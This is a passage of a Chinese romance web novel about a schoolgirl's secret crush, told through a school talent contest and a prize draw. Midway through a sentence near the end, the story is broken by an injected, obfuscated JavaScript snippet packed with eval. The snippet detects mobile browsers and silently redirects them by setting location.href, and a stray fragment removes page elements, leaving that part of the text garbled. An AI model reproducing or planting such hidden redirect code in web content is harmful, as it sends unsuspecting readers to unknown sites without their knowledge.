当时也没什么办法,只能全部先往家里搬。 林桑本想着人证物证都在,把钱退回来后最好能将恶人送进去让警察好好教育教育。 谁知何爷爷连人都没记住,也没个联系方式什么的,那时店里还没装监控,报了警后也不了了之。 扔了觉得浪费,林桑就拆开一包试了试,除了纸质糙了一点,倒也没什么,所以一直留着他们自己用,并一再嘱咐何爷爷,千万别拿出来卖。 她急得团团转:“买的人长什么样,还记得不?” “挺年轻一小伙子,戴个帽子,没怎么看清。”何爷爷说。 林桑无力:“这您也敢卖,万一出问题……” “我还没老糊涂,不会出事。”何爷爷宽慰道,“那小伙子一来就拿了包快用完的问我有没有卖的,我跟他说明了。” “然后呢?” 何爷爷想了想说:“哦,他说他知道,这纸前段时间被查了,但他喜欢用,就想找找还有没有漏网之鱼。” “我半价卖给他的。” 林桑半信半疑,勉强放下心来:“好吧。” “这事你可别往外说啊。” 何爷爷背着手出门:“知道知道。” …… 下午五点前得进校,何爷爷来迟了,林桑是卡着点进校门的,气还没喘匀,两道熟悉的身影映入眼帘。 他们默契到连迈出脚步的频率都一致。 女生个子高挑,一头马尾在脑后高高束起,随着她走动的动作左右摇摆着,给人一种明媚自信的感觉。在她身侧的沈听原依旧是一副慵懒样,红色书包在肩头半挂不挂,手里拎了个浅粉色书包,时不时迁就着女生,低下头听她说话。 林桑微低着头,亦步亦趋地跟在他们身后。 到了教学楼前的空地,女生从沈听原手里接过书包,和沈听原分开,往旁边高二教学楼走去。 林桑跟在沈听原身后,一步一步跨上台阶,她忍不住往女生走的方向看了一眼,还是没看清她长什么样。 说来也奇怪,明明在一个学校,学校也不大,林桑却从未在其他时间见过她。 每一次撞见,都是她和沈听原在一起的时候。 好像老天在时刻提醒着她收起那些不切实际的遐想和怎么隐藏都会溢出的喜欢。 心里的想法一秒能切换八百个,各种复杂的情绪交织杂糅,林桑站在门口晃了晃脑袋,刚要进门,肩膀倏地被人轻轻拍了一下。 她转过头,半分钟前的疑虑在此刻有了答案。 女生皮肤很白,红唇皓齿,睫毛长得像个小刷子,根根分明,随着她眨眼的动作扑闪着。 令林桑意外的是,她的长相和她清甜的嗓音完全不符。不是她想象中的清纯甜美型,而是带了些许攻击性的浓颜系。 林桑一时间看得愣神,后知后觉反应过来女生说了什么,她伸手接过,为了掩饰,向女生确认道:“是给沈听原吗?” “嗯,对。”女生笑着说,“谢谢啦。” 林桑略微摇头:“不用谢。” 女生下楼后,林桑才提着手里的两杯奶茶进教室,她把书包放下,又往沈听原坐的方向走。 沈听原正奋笔疾书赶着周末作业,林桑犹豫了两秒,把奶茶放到桌角,轻声说:“外面有个女生让我给你的。” 她话音刚落,沈听原手里的笔就重重划了出去,试卷上画了很长的一条黑线,使力重的部分甚至将试卷劈出个大裂口。 林桑瞪大眼睛看着,瞬间舌桥不下。 反观沈听原这个当事人倒是比她淡定不少,他手随意在上面抹了几下,抬眼对林桑说:“谢了。” 林桑说了句不用后就落荒而逃。 她回座位时,刚不知道去哪的方倚霏已经在座位坐着了。 方倚霏往后倾看了眼:“你去干啥了?” 林桑淡然道:“帮一个女生给沈听原送奶茶。” “是不是长特别好看。” “是。” 方倚霏狡黠一笑,挑眉道:“八卦,想不想听?” 林桑内心已经按捺不住,面上却冷静:“可以吗?” 方倚霏:“哎呦,白跟姐几个混了,凑过来点。” * 周一,升旗仪式。 这是林桑来一中参加的第一个升旗仪式,和课间操一个时间,位置也和课间操一样,只有每个班的位置是固定的,人都是随机站。 林桑去的早,站的位置相对靠前,她一眼就穿过人群看到了站在旗杆旁待命的杨思怡。 从方倚霏的八卦里,林桑不仅知道了她的名字,还得知她是上学期临近期末时从隔壁县转学过来的,比他们大了一届,成绩优异且多才多艺,刚来报道那天就吸引了不少追求者,一时间成为众人讨论的焦点。 杨思怡来了一中不到半个月后,开始频繁地和沈听原出双入对,每次带东西给沈听原还会特别贴心地关照一下沈听原的好兄弟—— 游书涧。 这种事在学校其实见怪不怪,但两人颜值出众到被人称为新晋校花和新晋校草,又是学校里的风云人物,待在一起时走哪都能碰上认识他们的人,引发的话题度自然也高。 那时候每个人都相信自己表面上看到的,有人说是杨思怡在追沈听原,也有人觉得是沈听原在追杨思怡,不论是哪一种,都断定杨思怡和沈听原要么已经在一起,要么就是快了。 不过这场猜测和议论没持续多久,因为这事不知怎么传到了当事人耳中,谣言才堪堪冒了个头就被拍回了地底,埋得死死的。 事情扭转的速度很快,不过有迹可循,加上放了假,慢慢地便被遗忘了,哪怕开学了大家也都很默契地没再过多讨论过…… 台上传来校长敦厚的声音,林桑这才收回思绪。 升旗结束后,上周的值周老师上台进行了总结,随后由校长进行讲话,台下在升旗结束后就有人腻味到小声聊起了天,时间越长就越收不住,愈发猖狂起来。 校长咳了两声,卖关子道:“等会儿有大事宣布,各位同学稍安勿躁,不要喧哗!” 台下没有安静,倒是立马沸腾起来,各班的班主任都急忙跑过来维持秩序。 一直到下一节课的上课铃声都响了,校长才给讲话收了个尾,然后扫了眼台下,清了清嗓子开始宣布他口中的“大事”。 “同学们,学校为了让大家劳逸结合呢,暂定本周周五晚上举办‘展风采’大赛,各班自行安排参赛人员,届时校方会邀请县里的大腕过来当评委,奖品丰厚,希望各位同学积极参赛!” 台下早已乱成一锅粥,校长宣布完就结束了校会,学生轰的一下散开,出口本就只有两个,全被堵死,林桑和方倚霏她们站在原地打算等人都散了一些才走。 等待的间隙,方倚霏戳了戳林桑:“你参不参加啊?” 林桑摇头:“别人十项全能,我这十项全不能的,只能负责鼓掌。” 适珈蓝一副找到了知音的表情:“巧了,我也是无情鼓掌人。” 林桑视线在方倚霏和鲁琳之间打转:“你们呢,参不参加呀?” “她们俩一个会吹笛子,一个会葫芦丝,上学期迎新晚会表演还获奖了呢。”适珈蓝抢答道。 鲁琳和方倚霏对视一眼,笑了一下,眼底都藏了一些不明的心绪,很快将话题揭过。 …… 因为周五的比赛,一整个上午,班里的同学都很亢奋,文艺委员下课后便去办公室取了表格,让大家轮着填。 林桑他们组靠门,所以表格从他们组开始轮,周天换了排,现在坐在第一排的是李宇栖和另外一个男生,两人拿到表后看都没看就直接传给了适珈蓝,适珈蓝也像是遇上烫手山芋一般,立马把表格递给鲁琳:“同桌勇敢冲,我永远是你最忠实的粉丝!” 鲁琳拿着笔笑:“那我给你签个名?” 适珈蓝把手一伸:“来来来,签胳膊上,签大点,我一周都不洗澡了。” 李宇栖同桌转过身来,一脸嫌弃:“适珈蓝你恶不恶心啊!” 两人瞬间掐起战,林桑撑着脑袋看着,倏地对上李宇栖的视线,李宇栖挑了下眉,林桑会意,摇了摇头。 这一幕落入方倚霏眼中,她脸上的笑容僵了一瞬,很快又恢复。 鲁琳很快将表填好递给方倚霏,方倚霏盯着表格上的表演曲目,暂时将表收了起来。 林桑见状“咦”了一声:“你怎么不填啊?” 方倚霏垂下眼,眼神暗淡:“没想好表演曲目。” 林桑了然:“也对,毕竟是比赛,还是考虑一下比较好。” 方倚霏没说话,只含糊应了一声。 * 午休结束,表已经在班里轮了一圈半,方倚霏还是没想好表演的曲目。 林桑总觉得她不太对劲,早饭只吃了一点就算了,连话也变得很少。 林桑在包里翻了翻,找出一颗大白兔奶糖放到她桌上:“你别太着急,慢慢想嘛,还有时间。” “或者你说个方向,我帮你一起想。” 方倚霏看了一眼桌上的奶糖,又抬起眼看向前面那个趴在桌上闷头睡觉的人,提笔在草稿纸上写了一段话递给林桑。 林桑以为她是写了曲目让她帮忙看,一低头,她傻眼了足足一分钟才缓过神。 方倚霏平时写的字清秀板正,这次因为写得急,看上去有点乱,但林桑还是一眼就辨认出来: ——“我喜欢班长,你和他熟,能帮我打听一下他平时都喜欢什么歌吗?” ——“保密,拜托。” 门口有人进来,林桑用手将上面的内容挡住,等人从她身侧经过后,她才在上面写了个“好”,而后把纸条还给方倚霏。 方倚霏冲她眨眨眼:“谢啦。” “……” 下午的课都是理科,熬得人头脑发昏。 第二节课结束后,林桑抬头一看,李宇栖又没影了,刚要收回视线,窗边闪出来个人。 柳靳于伸着脖子左看看右看看,终于在和林桑短暂对视一秒后发现她。 “原来坐这么近,我还满教室找。”他冲林桑招招手,“快出来。” 他太过招摇,已经吸引了不少探究的目光。 林桑连忙跑出去把他拉到一边:“大哥,你这么花枝招展,又有什么鬼点子?” “这话说的,”柳靳于抓了抓额前的碎发说,“我就不能是过来关心下你,看你在新学校过得如何。” “少来。” “我来完成任务的。” 柳靳于说着把手里的纸袋递给她:“我妈给你买的,她得出差就让我送过来。” “看看喜不喜欢。” 林桑低头看了一眼,看上去像是衣服,她笑着点头:“阿姨买的,当然喜欢。” “喜欢就行。” 课后休息时间不多,柳靳于说还要去补个觉,把东西送到就走了。 林桑拎着东西回教室,在门口差点和沈听原撞上。 她往旁边挪了一步,抬眸时对上沈听原的眼睛。 沈听原周身气压极低,漆黑的眸子里看不出情绪,林桑下意识又往旁边挪了一步。 直到用余光看着沈听原下了楼,林桑才放松下来进了教室。 …… 一个下午,李宇栖不是没影就是下课倒头就睡,林桑一直到上完课去食堂吃饭才找到机会。 云亭一中新食堂才打完地基,距离修建完成遥遥无期,老食堂已经容纳不下太多学生,所以每个年级吃饭时间是错开的,这会儿人不多,但食堂能坐的位置很少,中午因为有午休时间充裕大多数人都选择回宿舍吃,下午则在学校各大地方找个位置。 李宇栖和他的同桌没占到位置,打了饭就准备往外走,林桑以迅雷不及掩耳之势跑过去将人拦下:“我们那边还有空位,要过去坐吗?” 李宇栖同桌的视线在他们身上打转几次后,哑然失笑道:“啥情况啊?” 任务在身,林桑第一次在面对李宇栖时感到紧张。 她尽量放松地看着李宇栖,等待他的回答。 李宇栖指了指球场的方向说:“我们去那边,看会儿球,改天再一起。” 想到方倚霏上午的状态,林桑有点失落,但在一个班,一会儿也有机会,她没表现出来,故作轻松道:“好。” “ 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他往嘴里塞了一块土豆,笑着补充:“我要是真上了,那恐怕不是迷倒一片,是吓倒一片。” 他这话逗得其他几人都笑出声,林桑就势问:“你会什么歌啊,以前一个班都没见你唱过歌。” 李宇栖吃饭很快,他把最后一口饭咽下去说:“就陈粒那首,《走马》。” 林桑想了一下这首歌的调,方倚霏会的是葫芦丝,好像不太搭,只能追问道:“没别的啦?” 李宇栖笑得无奈:“真就会一首,所以这赛我就不上去丢脸了。” “……” 张越也很快吃完,李宇栖和他就先去洗碗了,林桑和方倚霏对视一眼,很默契地加快了扒饭的速度。 两人一前一后吃完,适珈蓝和鲁琳紧随其后,几人一起收了桌上的纸巾去洗水池洗碗。 林桑用的是瓷碗,洗的时候很快,其他人用的是塑料碗,得用洗洁精,林桑就站在旁边等。 食堂松散不少,林桑这才注意到她们刚刚坐的隔壁桌,竟然坐了沈听原和杨思怡。 两人凑在一块不知道在讨论什么,杨思怡时不时拿起笔在笔记本上涂涂改改。 他们一个低头,一个微微仰起头,视线隔空相撞,还未落山的太阳发出刺眼的金色光芒,透过缝隙打在他们身上,每一缕都恰到好处。 这一幕像极了影视剧里那些为了彰显主角间甜蜜氛围而刻意营造出来的慢镜头。 无论是画面里的主角还是周遭的场景,都能一下抓住看众的眼球。 如果林桑只是普通的看众,她会感同身受主角间的甜蜜。 可她不是。 她是个对主角之一有着满腔喜欢却不敢言的暗恋者。 是个躲在阴暗洞口里窥探喜欢的人和其他人亲密互动后暗自难过的胆小鬼。 她能体会到的,只有一根根针扎进心脏时的刺痛。 以至于她全然忘了方倚霏早上说过的话。 …… 回到教室后,方倚霏拿着表,浑身上下都透着沮丧的气息。 “你说,用葫芦丝吹《走马》那得是什么样啊?” 林桑也说不出来,提议道:“你不是已经借好葫芦丝了嘛,要不晚上回去宿舍吹了试试?” “算了。”方倚霏长长地吐了一口气,提笔开始填表。 表格就在林桑眼皮子底下填的,看到她一笔一划写下“月光下的凤尾竹”几个字,林桑有些意外。 方倚霏停下笔,撞上林桑的表情,她笑了一下,挺直腰杆说:“我才不要因为喜欢一个人就一味地去迎合他的口味让他注意到我,我要用我自己的风采让他眼前一亮,就算不能,至少我做了自己擅长的,不会畏畏缩缩,不会受到拘束,对吧?” 林桑重重地点了一下头:“对。” “提前祝你成功!” 方倚霏转了下笔:“借你吉言!” “……” 时间很赶,方倚霏和鲁琳每天得了空就会找个地方开始练习,这段时间学校随处可见排练的,乐器的比较多,有一些是独舞,还有少部分是组了队跳舞的。 林桑和适珈蓝为了让方倚霏跟鲁琳有充足的时间去练习,每天都负责帮她们打饭洗碗什么的。 很快就到了周五,比赛地点就设在开校会的地方,不算大,但一中不过一千三百多号学生,倒也够用,午休结束就有人开始装饰舞台。 下午只有林桑和适珈蓝去吃饭,方倚霏要穿的是傣族服,鲁琳的则是汉服,两人为了一会儿好看不显小肚子,只吃了个小面包对付一口就回宿舍拿衣服去找老师化妆了。 大部分人都在为了晚上的比赛做准备,食堂人很少,林桑和适珈蓝吃完后又跑去买了两只卤鸡腿打算一会儿等她们比赛结束再给她们垫肚子。 两人拎着鸡腿慢悠悠回教室,到了楼梯口,适珈蓝提到等会儿要不要像别人追星那样弄个牌举着,林桑还没回答,两人就同时被教室门口传来的嘈杂声吸引,两人齐刷刷抬眼,都被眼前的景象惊到瞳孔地震。 “哎呦,后边的别挤啊!” “里面的能不能再进去一点啊,看不见!” “看什么啊,能听到不就行了!” “不是说还要唱吗,怎么停了?” “调音吧。” “……” 也不知道他们班教室里面发生了什么,门口和窗外都挤满了人伸长脖子往里看,基本都是其他班的,自己班的一大半都因为刚吃完饭回来被堵在外面。 林桑和适珈蓝走过去,适珈蓝就近找了个同班的人问:“什么情况,公园那群猴跑咱班啦,这么多人围观。” “你可太高估公园那群猴的魅力了。”被问话的女生笑着说,“是班里那两位睡神带了吉他过来唱歌,刚唱完一首,也不知道怎么给传出去的。” 女生啧了两声继续道:“一下子就来了一堆人,你们是没见到,跟平时一群人冲刺食堂那个跺起黄灰的场面一样壮观。” 适珈蓝疑惑:“他们也参赛了?” 女生摇头:“不知道,之前看表上也没他们来着。” “你们懂什么,人家这叫闷声干大事。”另外一个女生接话道。 她们聊得火热,林桑在旁边抓着“睡神”两个字思考是哪两个人。 睡神。 班里挺多上下课都在睡觉的人,她虽然转过来有段时日,但还是摸不准具体是谁。 片刻后,堵在门口的人都往两边散开,“睡神一号”拎着一把木吉他走了出来,“睡神二号”一脸不耐烦地跟在后面。 林桑往墙边靠了靠,走廊里放了两张空桌子,正好就在林桑正对面,沈听原四下看了几眼,下巴朝空桌子一扬对游书涧说:“要不就这,宽敞点。” 游书涧摸着后颈“啧”了一声,翻了个白眼:“骚不死你。” 6. 第 6 章 这一天在林桑的人生里留下了浓墨重彩的一笔,以至于多年以后她忘了他们之间的很多细节,今天的一切回忆起来却犹如才经历不到半分钟。 校服少年、木质吉他、喜欢的歌、漫天晚霞。 画卷上的每一笔都勾勒得细致,色彩饱满绚烂到令人挪不开眼。 视野逐渐缩小,汇聚在那个斜倚在桌沿低头拨弄琴弦的少年身上。 他清冽的嗓音染上几分温和,一句句钻进她耳朵里,又往更深的地方去,一路挠得她浑身酥麻: “爱的温度在继续 一切都还来得及 慢慢靠近你的心 读最深处你的秘密 爱需要时间 才能够被证明 请对我 有信心”[1] “……” 一曲完毕,舞台也准备得差不多,那头试音响的声音传来,各班委开始催促同学们抬着凳子下楼。 围观的人渐渐地回了自己班,林桑还沉浸在那幅画卷里,久久未回过神。 光影晃动几下,一只手出现在她眼前,适珈蓝五指挥了挥:“嘿,看傻啦?” “没。”林桑揉了揉眼睛说,“眼睛难受,像是卡了个东西,瞪着舒服点。” 适珈蓝也没怀疑:“我那有眼药水,一会儿给你滴两滴。” “好。” 沈听原和游书涧早已经下楼了,林桑跟着适珈蓝回教室,撇过头往空桌子看了一眼,桌面上安静地躺着一枚红色的拨片。 它在等待落下它的人回头。 * 离比赛正式开始还有一段时间,但舞台前的人已经坐得满满当当,林桑和适珈蓝去的有些晚,没抢到最前面的位置,不过后面的位置很宽敞,一会儿能站着看。 因为是露天的,林桑她们能够看到舞台边候场的表演者们,她和适珈蓝探着头寻了半天都没见到方倚霏和鲁琳的身影。 倏忽间,一双温软的手附在眼上,一道刻意压低的声音传来:“猜猜我是谁?” 林桑握住那双手,笑道:“大明星!” 方倚霏仰天大笑着松开手,瞥见周围不少视线频频移向她们这边,她急忙躬下身躲到林桑背后:“完了,大明星形象全毁了。” “没事,就说是我笑的。”林桑说。 方倚霏整个人压在林桑身后,一手歇在她肩上,一手抬起捏了下她的脸:“不愧是我的金牌经纪人。” 下课分开后就一直没见到她们,林桑在方倚霏手上轻轻拍了一下,急切地说:“你快转过来让我看看。” 天色还未黑,火烧云在风中千变万化,却在少女面前显得黯淡。 方倚霏身着一套浅蓝色傣族服,胸前和腰下都有亮晶晶的装饰,衣服很贴身,将她完美的身材恰到好处地展现出来,她脸上的妆容很淡,头发全都挽在脑后,露出饱满光洁的额头,看起来娇俏动人。 她身边的鲁琳也不逊色,鲁琳选的曲目是《仙剑奇侠传三》里的配乐,节奏灵动轻快,为了和这个曲目相配,鲁琳特意找人帮忙从外面借了一套汉服。 林桑她们三个身高都挺平均,一米六左右,大差不差,而鲁琳光是净身高就一米七,这通体黑色领口经金色花纹点缀的汉服一穿,再配上高高束起的马尾和披肩发髻,额前两缕碎发被晚风带起,倒真像个风姿飒爽的女侠客。 林桑和适珈蓝贴肩站着看她们,适珈蓝双手握在胸口,表情浮夸:“怎么办,一个想娶,一个想嫁。” “那你就想着吧。”鲁琳转着手里的笛子说。 适珈蓝立马开始戏精模式,痛心疾首道:“你怎么能这么对我!你好狠的心!” 台上传来老师维持秩序的声音,方倚霏和鲁琳都去候场的地方了,只剩林桑一个人欣赏她这出表演,林桑拍拍她的肩:“要不我临时去帮你报个名?” 适珈蓝收放自如,探着头说:“你说啥,我听不见。” 林桑:“……” …… 舞台的灯光聚在中央,欢呼和掌声口哨声不止,主持人上台把到场来宾和特邀的评委都介绍了一遍。 随后就开始了各领导和代表致辞,就这么耗了快半个多小时,校长才宣布比赛正式开始,台下气氛重新高涨起来。 今晚的主持人是杨思怡和一个高三的学长,杨思怡一条香槟色礼裙,浅粟色的头发垂在胸前,衬得她明艳大方,还未上台林桑周围就有人感叹讨论了半天。 她看着她宣布完第一个上台的表演者后踩着高跟鞋下台,走到休息处放下东西后,又走到一个男生面前。 观众席位置比较低,林桑仰着头,从她的角度看过去,那里只有舞台上的灯光打到时才会有一瞬间光亮,男生大半截身子被绿植挡住,只露出一个后脑勺。 但这就够了。 够林桑认出他来。 一直以来,比起他的正脸,她最熟悉的是他的后脑勺和背影。 所以,她绝不可能认错。 台上的演出她已经无暇顾及,可还是没看清他们是什么时候离开的。 林桑手死死揪着校服裤子,眼眶和鼻头一阵酸涩涌上来,她努力下压,那股力就用更狠的劲卷土重来。 适珈蓝坐不住,加上这个位置实在是不太能看清台上,她早已经跑去找更好的观看位置了,林桑怕换了位置就清晰地看到最不想看到的画面,没跟着去。 表演已经结束两三场,林桑一直没什么兴致,玩手机吧,她不喜欢玩游戏,手机里除了聊天和学习的软件,什么也没有,没什么可玩的。 她低头抠着手指,身侧有人坐下,以为是适珈蓝回来了,她没怎么在意,只是为了防止被她发现异样而抬起了头。 “手机消息不看就算了,人到了你也不理,什么情况啊你。” 林桑蓦地转头,对上林景幽怨的表情,她怔了一下才忙去掏手机解释:“我没看……” “行了。”林景止住她,“知道你没看,我这不是过来找你了。” “找我干嘛?” “一会儿结束了一起回去,奶奶想你了。” 林桑点点头:“我正准备明天过去来着。” “晚会结束都不知道什么时候,你一个人回去也不安全。”林景说,“今晚回去住,也省得你跑来跑去。” 林桑一想,也是,四洛巷的路灯十点半准时熄,估计是等不到她回去了。 “那我跟外公说一声。” 林景应了一声,在校服裤袋里掏了半天,掏出几个果冻放到她手里后就回了自己班。 林桑把果冻收好,抬眼发现舞台上有人搬了两个带轮的椅子上来,而一旁和音响师沟通的人—— 是沈听原。 林桑呼吸不自觉一提,看到有人举着手机拍照,她手忙脚乱从兜里摸出手机打开相机对准台上。 林桑对着台上找了会儿角度,镜头里一半都是黑漆漆的人头。 试了几次还是如此,她只得放下手机,探着头看周围有没有能完整拍到台上的地方。 舞台侧边是球场看台,站在边上正好能俯瞰整个舞台和观众席。 这会儿好位置基本都被人挑了,林桑寻了个位置相对来说还算可以的,这时沈听原那边也沟通完,拿上吉他跟着游书涧一起上台。 林桑一颗心砰砰直跳,举着手机的手止不住颤抖,导致她在屏幕里压根看不清他的脸。 将手机举在固定位置后,她视线从屏幕落到台上,那道模糊的身影一点点开始清晰。 沈听原和游书涧都没特意换衣服,身上还是简单的校服T恤和校服裤子。 两人姿态都很随意,沈听原指尖在话筒上轻点两下,清了清嗓凑近话筒开口:“大家好,我们是十号参赛者,演奏歌曲为《Letting Go》。” “虽然平时唱歌五音不全,但自认这首歌唱的还不错,如果各位的想法与我相悖,那就辛苦大家忍耐个几分钟,毕竟比赛嘛,总得给我个机会唱完。” 台下爆笑如雷,笑声过后是热烈的掌声,一束光落了下来,沈听原适时抬手做了个“收”的手势,高亢的气氛逐渐停滞下来。 沈听原脚一蹬将椅子往前推,调了调话筒,一双眼睛里续满柔情,歪着头含笑道:“一首《Letting Go》,送给台下的你。” 他这话一说完,林桑就听到旁边有人小声议论: “送给你,不是你们,这是有特定的人吧。” “对啊,我就说怎么听着不对劲!” “看他们最近又在一块,难道又反转了?” “……” 林桑闻言下意识看向主持人休息处,杨思怡一双眼睛一瞬不眨地盯着台上,脸上洋溢着幸福满足的笑容,她身上披了一件校服外套,又宽又大,将她整个人完完全全笼罩住。 不是她的码。 林桑回想起方倚霏说过他们看到的和事实其实完全相反。 可从她近期所见以及刚才有人提到的又反转了来看,这事恐怕从头到尾就没反转过。 林桑垂下眼,无力到快要举不稳手里的手机,表演已经开始,她定下神,用双手牢牢托住手机。 双人合唱,林桑耳边却只剩他的声音,他嗓音下压了一些,听起来很有磁性,还真如他所说的那般,唱得不错: “这是一封离别信 写下我该离开的原因 我在你生命中扮演的角色 太模糊了 你对我常忽冷忽热 我到底是情人还是朋友 爱你是否不该太认真 That''s why I''m letting go 我终于舍得为你放开手 因为爱你爱到我心痛 但你却不懂 ”[2] “……” 这首歌林桑很喜欢,她在心里默默跟着沈听原将歌唱完,等主持人上台她才想起停止拍摄。 林桑站着看了一会儿,终于在一束光打过来时看到适珈蓝,她旁边没什么人,林桑点亮屏幕照着台阶,弯腰快步跑到她身边。 看到她,适珈蓝有一瞬惊讶:“诶,你不是不来吗?” “看不清。”林桑说,“都是人头。” 适珈蓝笑了笑:“我这可是经验之谈,这地可是个绝佳位置,一般人我都不告诉的。” 林桑也跟着笑:“那我运气真好。” 没聊多久,方倚霏上台,适珈蓝激动地说:“迎新晚会给人做嫁衣,今晚总算是一人独揽舞台了。” 她边说边调整手机找角度:“我要把她们一雪前耻的光辉都记录下来。” 林桑疑惑:“给人做嫁衣,不是说还获奖了?” 一说这个适珈蓝就来气:“说着好听而已。” “本来迎新晚会是高二高三的负责表演,但学校就这么点人,有才艺的能找出来多少,就把咱们高一的也选了。” “她和鲁琳本来都是单独表演的,结果不知道那几个学生会的抽什么风,愣是把她们的节目给拿了,把她们派去给一个唱歌的当伴奏和伴舞,最后获奖了她们就只淘了个名头。” “每天辛苦练习,后面换了曲子又加急练,最后奖品跟荣誉全是别人的。” 林桑皱眉:“怎么还这样啊。” 适珈蓝叹了口气:“林子大了,什么鸟都有呗。” 那头表演已经开始,适珈蓝拍了拍林桑说:“哎,这事她们一直觉得晦气所以不乐意提,咱也别想了,反正都过去了就随它去吧。” “看表演。” …… 方倚霏的表演很精彩,前半段以吹葫芦丝为主,后半段则是舞蹈,灵动的舞姿吸引了不少人,几个评委给出的评价都很高。 适珈蓝连连感叹:“难道这就是所谓的民族优势。” 林桑在看表演的同时借着偶尔落到观众席的灯光找到了李宇栖的身影。 台下为方倚霏的表演而欢呼时,本在打游戏的李宇栖抬头粗略撇了一眼就低下了头,停顿两秒后,原本操作不停的手顿在屏幕上。 林桑看到他缓缓抬起头,认真看起了表演。 鲁琳和方倚霏的表演是相连的,看完后,适珈蓝说:“她们两个拿奖算是稳了。” 林桑认同:“不拿天理难容。” 她话音一落,台上传来学长的声音:“咱们的比赛已经过半,不知道各位同学还记不记得今天让大家自愿赠予的奖品。” 台下立马有人大声应道:“当然记得!” 学长顺势追问各位同学都赠了什么东西,回答此起彼伏。 互动结束,杨思怡对收到的赠予奖品用途做了解释。 简单来说就是把各班同学赠予的东西都打散了单独包装成几份,留一部分用来奖励获奖的同学,其余的则用来抽奖。 有人抬了一个巨大的红色纸箱上来,交由校长进行抽签。 校长手在里面不停搅动,台下短暂的陷入寂静,所有人都在屏吸等待。 终于,校长在把箱子里的纸条搅了个底朝天后,抽了一张蓝色的出来。 杨思怡接过,笑着说:“好的,今晚的第一位幸运儿已经诞生,相信大家现在和我一样,都很期待究竟是谁这么幸运,那么接下来……” 她把话筒递给那个学长,在数不清的注视中缓缓打开纸条:“恭喜——” 她刻意停住,一群人心已经提到了嗓子眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780575|157949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都眼睛一瞬不眨地盯着她。 下一秒,众人听到她用清甜的嗓音大声道:“高二240班30号同学。” “恭喜,请这位同学在比赛结束后,带上校园卡到舞台后领奖。” 因为每个班在的位置都是固定的,听到240班,周围的人都伸长脖子看过去,有个男生在众目睽睽之下站起身,大声问:“奖品能帮我转送吗?” 杨思怡反应很快:“你想的话,当然可以。” 一时间,大家都很好奇他会把今晚的第一份幸运礼物送给谁。 四周再次陷入寂静,都在等待他的答案。 男生略微羞涩地挠了挠后脑勺,傻笑着说:“给刚刚穿蓝色衣服跳舞的女生,我觉得她跳得很好,葫芦丝也吹得不错。” 答案一出,寂静一刹,欢呼四起。 杨思怡和学长适时控场,便转告男生还是等比赛结束后再做决定。 适珈蓝张大嘴巴看着观众席,机械地转过头:“哇塞,方倚霏这是一舞跳进那个男生心里了啊。” 有这么多领导和老师在场,男生还敢如此大胆,林桑也没缓过神,和适珈蓝面面相觑:“跳得还不浅。” “走走走,”适珈蓝迫不及待拉上林桑,“咱们可不能错过第一手消息。” 两人绕到观众席后,怎么都找不到方倚霏和鲁琳,发消息也没人回。 眼见比赛也快接近尾声,适珈蓝说:“也不急这一时,坐会儿吧。” 期间又进行了两轮抽奖,第三轮抽奖后便开始公布比赛结果,就在众人都以为快结束了开始收拾东西时,杨思怡的一句话让所有人都停下动作,重新将注意力放到舞台上。 “各位同学稍安勿躁,还有最后一轮彩蛋抽奖,让我们一起拭目以待吧。” 红色的抽奖箱又被人抬了上来,几个领导你让我我让你一番,一位县里请来的领导上了台。 她在箱子里搅了又搅,终于在台下的人等得不耐烦时抽出纸条。 杨思怡把话筒对准她,所有人都紧张地看着她一点点打开手里的纸条。 “恭喜这位同学——” “高一251班50号!” “我去!”适珈蓝激动得像是自己获了奖,就差从凳子上跳起来。 “50号是你啊。” 稀里糊涂获了奖,林桑有些懵。 周围投过来不少目光,她有些别扭,木然地笑了笑。 台上已经开始最后的颁奖环节,老师们都在组织各班先搬凳子回教室。 林桑收拾好东西从教室出来的时候发现那枚拨片还在,她犹豫两秒—— 取走了它。 陆陆续续还有人抬着凳子回教室,林桑逆着人流走到舞台后方,那里已经有几个同学在领奖品,她走过去,把校园卡递给负责人,负责人接过看了一眼,偏头喊:“彩蛋幸运儿来了。” 有了应了一声,是熟悉的声音。 林桑这才注意到地上蹲了个人,背对着她。 林桑心跳不自觉加快,她眼睛瞪圆看着沈听原抱着一个纸箱走过来,在离她一臂远的地方站定,低头对她笑:“恭喜,这是你的奖品。” 林桑看着那个大纸箱上的“彩蛋幸运儿专属”几个字,顿了顿,指着自己说:“这么大一箱……都是……我的啊?” 沈听原挑了下眉,轻微点头:“对,都是你的。” 林桑木着身子接过,想起被她放在兜里的东西,她弯腰把箱子放下,摸出那枚拨片递给沈听原:“你今天唱歌的时候落在桌上了。” 沈听原在后颈上抹了一把说:“我就说好像忘了什么,谢了啊。” 林桑:“不用。” 有人喊了沈听原一声,他和林桑说了声有事先走就去帮忙了。 林桑还站在原地。 他们之间的交流不多,每次都是谢来谢去的。 林桑沮丧地低垂着头,莫名有些低落。 …… 林桑没站多久,因为陈雪给班上参赛的同学都订了花,这会儿正好把人带到舞台后方领花。 方倚霏和鲁琳获得了一等奖,沈听原和游书涧是三等奖,班里还有其他几个同学组队跳舞也是三等奖,陈雪高兴得一晚上嘴就没合拢过。 林桑怕妨碍到过来拍照的人,就想抱着纸箱走到一边,等他们结束了再和方倚霏说说话,结果陈雪一眼就注意到她:“来来来,幸运儿,你也过来一起合个影。” “把你那个奖品箱抱上啊。” 林桑走过去时,李宇栖把花一一送给参赛的同学,轮到方倚霏,他不吝夸赞:“恭喜,表演很精彩。” 方倚霏接过,笑得热烈:“谢谢。” 她歪过身子,脸上有小小的傲娇,冲林桑眨了下眼,那表情好像在说: 我成功了! 花已经分发完,陈雪开始排拍照的队列,林桑走过去在方倚霏旁边站定,小声说:“他抬头看你表演了,还是打着游戏的时候,连游戏都忘了打呢。” 方倚霏脸颊红了一片:“没那么夸张吧。” 林桑笑道:“不信啊?我亲眼看到的诶。” 方倚霏脸更红了,羞得低头看着怀里的花说不出话。 